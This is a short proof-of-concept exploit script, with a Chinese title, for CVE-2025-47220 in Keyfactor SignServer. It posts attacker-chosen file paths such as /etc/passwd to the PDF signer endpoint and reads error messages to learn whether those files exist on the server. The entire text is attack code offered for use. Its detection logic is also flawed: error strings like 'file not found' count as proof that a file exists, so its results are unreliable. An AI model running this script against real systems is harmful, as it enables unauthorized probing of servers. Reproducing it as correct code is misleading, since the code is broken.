CVE-2025-47220 Keyfactor SignServer 本地文件枚举漏洞

import requests import sys # CVE-2025-47220 PoC - Local File Enumeration in Keyfactor SignServer # Target: Keyfactor SignServer < 7.3.2 # Vulnerability: VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH allows arbitrary path specification def check_file_existence(target_url, file_path): """ Attempts to enumerate file existence by exploiting the VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH property vulnerability. Args: target_url: Base URL of the SignServer instance file_path: Path to check for existence Returns: bool: True if file exists, False otherwise """ # Endpoint for PDF signer configuration endpoint = f"{target_url}/signserver/pdfsigner" # Malicious parameter that triggers file enumeration payload = { 'VISIBLE_SIGNATURE_CUSTOM_IMAGE_PATH': file_path, 'workerName': 'PDFSigner' } try: response = requests.post(endpoint, data=payload, timeout=10) # Check for error messages indicating file existence # If file exists but is not a valid image format, error is returned error_indicators = [ 'not a valid image', 'cannot read', 'file not found', 'does not exist', 'invalid format' ] response_text = response.text.lower() # If we get an error about image format, file exists for indicator in error_indicators: if indicator in response_text: return True return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-47220.py <target_url> <file_path>") print("Example: python cve-2025-47220.py http://localhost:8080 /etc/passwd") sys.exit(1) target_url = sys.argv[1] file_path = sys.argv[2] print(f"[*] Checking file existence: {file_path}") result = check_file_existence(target_url, file_path) if result is True: print(f"[+] File EXISTS: {file_path}") elif result is False: print(f"[-] File does NOT exist or is not accessible") else: print(f"[!] Could not determine file status") if __name__ == '__main__': main()